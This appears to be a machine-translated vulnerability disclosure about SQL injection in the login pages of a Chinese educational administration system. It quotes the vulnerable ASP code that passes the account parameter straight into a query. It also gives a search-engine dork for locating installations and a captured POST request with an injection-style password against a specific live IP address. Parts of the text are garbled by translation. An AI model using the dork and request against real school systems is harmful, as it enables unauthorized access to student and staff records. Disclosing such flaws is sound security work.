Login box of the strong intelligence educational administration system SQL Injection

Login box of the strong intelligence educational administration system SQL Injection

File: \ logs GL \ logincheck. asp
\ Shortxs \ LoginCheck. asp

\ Login admin \ LoginCheck. asp
 

Multiple login boxes are injected. Here I only paste the code of the first file. OpenWindow = trim (Request ("OpenWindow") '= "" Response. cookies ("OpenWindow") = trim (Request ("OpenWindow") 'response. write OpenWindow 'response. write Request. cookies ("OpenWindow") 'response. end set conn = server. createObject ("Adodb. connection ") 'on error resume nextconn. open connstring if Trim (Request ("LoginLb") = "jwc" then SQL = "Select UserMemo from Usertable where account = '" & trim (request ("account ")) & "'" set rs = conn.exe cute (SQL, 1) If Not Rs. EOF then if isnull (rs ("UserMemo") or trim (rs ("UserMemo") = "" then

Account

Directly query parameters without filtering.
 

Keywords: inurl: Public/ShowGGTZ. asp? GGTZID =

 

Case study:

CATEGORY options here different files and permissions are logged in, there are injection points.
 

 

Packet Capture:

POST /jiaowu/JwGl/LoginCheck.asp?datetime=2014-08-27%2020:37:26 HTTP/1.1Host: 61.191.176.119Proxy-Connection: keep-aliveContent-Length: 148Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://61.191.176.119User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://61.191.176.119/jiaowu/Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDQAQDSSQA=FFFHPIICBACKHCIIJENMLCEPlogindate=&LoginLb=jzg&x=31&y=23&Account=1111&PassWord=0%29-%25&CheckCode=5284&AccessID=20140827203726.7581446&DiskNumber=&EnRndNum=1729592&dogcode=

 

 

 

 

Solution:

Filter. Check that the vendor has replied to a vulnerability and said that the user configuration is incorrect. I think it is most important to remind users of the vulnerability and be responsible for their own users.